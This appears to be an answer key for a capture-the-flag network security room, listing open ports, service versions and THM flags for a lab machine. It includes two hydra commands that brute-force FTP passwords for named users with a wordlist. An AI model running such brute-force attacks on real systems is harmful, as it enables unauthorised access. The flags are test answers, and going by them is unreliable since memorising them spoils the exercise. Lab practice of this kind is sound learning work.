Net Sec Challenge

What is the highest port number being open less than 10,000?

8080

There is an open port outside the common 1000 ports; it is above 10,000. What is it?

10021

How many TCP ports are open?

6

What is the flag hidden in the HTTP server header?

THM{web_server_25352}

What is the flag hidden in the SSH server header?

THM{946219583339}

We have an FTP server listening on a nonstandard port. What is the version of the FTP server?

vsftpd 3.0.3

We learned two usernames using social engineering: eddie and quinn. What is the flag hidden in one of these two account files and accessible via FTP?

hydra -l eddie -P /usr/share/wordlists/rockyou.txt ftp://10.10.93.153:10021

hydra -l quinn -P /usr/share/wordlists/rockyou.txt ftp://10.10.93.153:10021

THM{321452667098}

Browsing to http://10.10.93.153:8080 displays a small challenge that will give you a flag once you solve it. What is the flag?

THM{f7443f99}

Happy Hacking !!!